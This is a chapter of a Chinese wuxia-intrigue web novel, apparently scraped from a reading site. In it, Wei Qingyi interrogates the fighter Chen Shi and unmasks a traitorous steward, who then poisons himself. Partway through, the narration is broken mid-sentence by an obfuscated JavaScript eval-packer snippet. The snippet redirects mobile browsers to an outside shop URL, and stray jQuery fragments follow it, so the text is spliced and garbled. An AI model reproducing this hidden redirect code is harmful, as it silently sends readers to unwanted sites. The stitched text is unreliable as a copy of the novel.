10. 皇后

作品:《问骨

    男人的被钳住下巴将脸扳正,一脸不屑地对上了蹲下与他对视之人的脸。


    仔细一看才发现这人满脸胡茬,皮肤黝黑,不修边幅,一副糙汉子的模样。


    霎时,魏清伊的脑海中闪过一道人影,虽然这人相貌老了些,但依稀和那人有几分相似,她瞳孔猛然一怔。


    这时云易岑开口:“说吧,谁派你来的?”


    “俺呸。”


    “凭啥告诉你?我活了这么多年,没见过你们这么不要脸的人。”


    云亦霏揉了揉额头,放弃了和他讲理的打算:“你知不知道,你今天得罪的是整个云家?”


    “敢伤云家二小姐,威胁云来香,你就不怕死?”


    只见那人挣扎几下,操着一口蹩脚的官话:“俺不怕!俺只要我的阿妹回来。老汉我是个粗人,只知道一个道理,你们这些高官贵族做的每一件恶事,都记在账上哩!”


    “你们不怕死后见阎王过地狱,俺还怕砍头剁手?就是要我去油锅里滚一遭也没事,只要能让我阿妹回来!”


    云亦霏表情复杂:“那你是铁了心不愿意告诉我你幕后之人了?”


    那汉子撇过头,算是默认了。


    “那就送到衙门去吧。”云亦霏朝打手说道。


    魏清伊心头一动,伸手制止了他们:“等等!”


    她将云亦霏拉到一旁,在云亦霏耳边耳语道:“云姨,让我试试。”


    云亦霏皱了皱眉。


    “你能行吗?这人蛮不讲理,要从他口中问出什么绝对不简单,只能送到衙门用刑。”


    魏清伊点了点头:“我或许见过她妹妹。”


    “真的?”云亦霏又惊又喜,“既然如此,说动他便也没那么难了。”


    魏清伊走到那汉子跟前,轻声道:“放开她吧。”


    “魏姑娘,这人会功夫…”打手提醒道。


    “无事,他将我杀了,便这辈子都别想知道他妹妹的下落了。”魏清伊轻轻一笑,扶着椅子淡定地坐了下去。


    见打手松开自己,那汉子转了转手腕,当真没什么动作。


    “你知道我妹妹在哪?”他语气带着不易察觉的怀疑。


    “当然。”魏清伊手指点了点椅侧,脸上没什么表情,“杏眼,柳叶眉,嘴唇较厚,大约十七八岁的样子…”


    她一顿,随即缓缓开口:“脸上有一块黑色胎记。”


    本来还不相信对方的汉子此刻手止不住地颤抖,他身上布满了血痕,那一半烧伤的脸隐没在阴影中。


    “果然是你们!”他伸手想去触碰魏清伊时又被打手按了下来。


    他跪在地上咬着牙,眼底翻涌着怒气,一字一顿道:“她在哪里。”


    他看见魏清伊不慌不忙地挥了挥手示意打手放开他。


    “鸳鸯楼。”


    “不可能!”那汉子立马出声反驳,压低眉头,“你最好不要跟我耍花招。”


    云亦霏自顾自地点了点头,这个答案仿佛在情理之中。


    这反应也正巧顺应了魏清伊的猜测,她扮作不知晓一般问:“为何不可能?”


    “我想想…”


    “因为那位大人物跟鸳鸯楼有关系,对吗?”


    她想起云亦霏先前说的那个名字,鸳鸯楼的东家。


    “齐云升,你总知道吧,毕竟就是他教唆你来云来香找事的,不是吗?”


    那汉子攥紧拳头,没想到面前这个病怏怏的小姑娘竟然直接说出了那位大人的名字。


    他不敢相信,嘴上说着要帮助自己的人竟然才是那个伤害自己妹妹的罪魁祸首。


    他“扑通”一声跪了下去,仿佛一瞬间被抽空了所有力气,只剩写在脸上的憔悴和悔恨。


    “你叫什么名字?”魏清伊默默叹了口气。


    那人嘴巴轻碰两下,念出了一个名字:“陈石。”


    “陈石?”魏清伊玩着手旁的茶盏,但里面不知何时添了茶水,指尖刚碰到就缩了手。


    “确实…是挺实诚的,你这种人最好骗了,我要是齐云升,我也找你。”


    陈石想开口说些什么,像是想反驳,但半天也没说出个所以然。


    “你武功如此之高,师出何门?”魏清越问出了早就好奇的问题。


    门外的雨声转小,风穿过茶楼镂空处发出呼呼的响声,吹落了戏台上那本就不稳的道具,使其“哐当”一声倒了下去。


    魏清伊耳发吹地贴在了脸颊上,她正专心致志地等着汉子回答。


    不多时,她便在杂乱的风声中听陈石回道:“四大天人之一,七绝散人。”


    七绝散人,石桥安?


    江湖上的四大天人屹立之久,虽然近些年也有许多人想去挑战,但终究只是蜉蝣撼树罢了。说简单点四大流派根本没将他们放在眼里,江湖上称这些人为蕴生。


    魏清伊还是保持着敲击的动作,但是心思却不在这里。


    按理来说,四大天人的徒弟根本不会参与这些家族争端,更别说什么党派之争,或是将手伸到皇家,那更是不被允许的事。这也是她师父再三警告她的事。


    不可轻易出手,不可战败。


    她还记得对方千叮咛万嘱咐的一句话:“若你我还有师徒之情,战败便不要报为师名字!”


    当然她也从没报过,毕竟跟人单挑她从未输过。


    魏清伊看向面前的人,盯着对方脸上那道触目惊心的疤痕,若有所思。


    这人既然选择了插手,虽说身不由己,但最后还是会被同门追杀,至于他们如何得知他们是否背叛无从知晓,应当是有些门道。


    “虽说你这武功确实霸道强悍,但据我所知,七绝散人手下的的绝对强者一只手也数不过来。”她的额间已经被冷汗打湿,老实说她的身体已经发出了抗议,她抿了抿干燥的嘴唇,血腥味被咽了下去,“你打算怎么逃?还是说齐云升已经给你找好了退路?”


    “我们没有直接会面,全是他的手下在传递消息。”


    魏清伊眉头一挑,那就是连口头保证都没有。


    “行,我给你两个选择。一,现在就去衙门报道,我会保你活着出来,并且救回你的妹妹,只不过你会牢里受些苦。毕竟你伤的人是云二小姐。二,让这些打手把你押过去,等着这位齐大人去救你,当然我觉得他不会这样做,你觉得呢?”


    陈石“嘁”了一声:“你有这么好心?”


    魏清伊轻笑着点头:“当然…没有啊。”


    她笑得妖艳又诡异,整个人却平淡地出奇。


    “等你出来,我要你陪我们演一场戏。”她冷下脸,眼中是藏不住的阴冷,如同一条吐着信子的饥蛇,“云家不会纵容齐家的行为,比起你。他们的重心一定会放在更深一层的家族暗斗中。”


    “你要做的,就是帮云家反吃齐家一子,换取自己活命的机会。”


    “至于你需要做什么,得等你出来之后我再告诉你。”


    陈石用拇指擦过嘴角,往旁边啐了口唾沫道:“你还想知道些什么?”


    这句话算是默认了对方的要求。


    “这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932251|192819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个线人是在那跟你会面,长什么样?”她问。


    陈石呵呵一声才说:“我说出来,你们云来香就要来一场大扫除了。”


    “什么意思?”魏清伊蹙眉。


    在旁边许久未说话的云亦霏攥着扶手,手背冒出青筋:“你的意思是……云来香出了叛徒?”


    “云大小姐果然如外界所传那样聪明。”他转头对她调侃了一句,随后揣着意味不明的笑着望向王掌柜:“那人啊远在天边,近在眼前。”


    本还躺在地上上的王掌柜见状连滚带爬地到了云亦霏脚边,他抓住云亦霏衣脚颤抖地抓住她的衣角,抬眼就对上了那双写满怒意的眼睛。


    “拿下!”云亦霏拍桌而起,“你好大的胆子啊!王富景。”


    王掌柜被压在墙上,咿咿呀呀地喊痛。


    “冤枉啊小姐,我跟了你十年,你莫要听这歹人信口雌黄!你知道我不会背叛云来香的。”


    云亦霏扶了扶额头,感觉太阳穴又开始隐隐做痛,她只唤了声:“阿鱼。”


    魏清伊心领神会,对着一旁的打手吩咐道:“搜搜吧。”


    不多时,他便从王富景衣服内侧拿出了一张纸条。


    王富景见状针扎着要来抢,但又过于矮瘦,被按在墙上动不了一点。


    魏清伊接过纸条,只见上面清楚地写着:按计划行事,不必管陈石死活,只需拿到我需要的东西。


    “这你要怎么解释?”魏清伊将纸条递给云亦霏,转头质问王富景。


    王富景心中打着鼓点,血液仿佛都要倒流。他两只眼睛左右乱转,手脚冰凉。一只手哆哆嗦嗦地摸到了腰侧。


    此时,刚接过信条的云亦霏失手让它掉到了桌上。它飘过烛火上端,在一瞬间浮现出了一行层叠在上的字样,最后稳稳落在墨台上。


    云亦霏就着光小声念出:“必要时,务必自尽!?”


    “拦住他!他要服毒!”


    她挥手,迅速发出指令。但他动作太快、太隐秘,以至于众人终究没有阻止住王富景。


    他口吐白沫,眼睛翻白,失去打手的支撑后“扑通”一声倒了下去。


    王富景顶着最后一口气,嘿嘿笑了一声,吐出了一句:“没想到吧,我的…主…子可不是…齐云升。”随后他在地上抽搐几下便彻底失去了呼吸。


    霎时间,整个装潢富丽的茶楼透出股凉气,所有人喉咙里都挤不出一丝声音。


    魏清伊咽了口唾沫,率先打破寂静:“云姨,他已经死透了。”


    云亦霏惊魂未定地点了点头,又摇了摇头。整个人看起来魂不守舍。


    魏清伊上前扶了她一把,其实她觉得云姨身体应当也不见得多好,看起来应当是常年偏头痛。


    但当下又是为何?


    难不成云姨怕死人?也是,普通人应当很少看见这种场面。


    “先拖下去吧。”她想了想,还是决定谨慎行事:“先别埋,照我说的做就行。”


    她看了看怀中的依旧无精打采的云亦霏,又道:“备车回府吧。”


    次日正午,魏清伊是被一阵叽叽喳喳的鸟叫声吵醒的。她趴在床边,睡眼朦胧地抬头看去,发现云亦霏早已不见踪影,而自己身上又盖了一张毯子。


    她伸了个懒腰,想起昨日陈石确实按照要求配合在她的安排下去了衙门,她打算去找云亦霏商量一下,好保住陈石的命。他伤的不是别人,那是云家的掌上明珠。


    魏清伊正没想好到哪去找,打开门便见到云亦霏在门前踱步,脸上满是苦恼之色。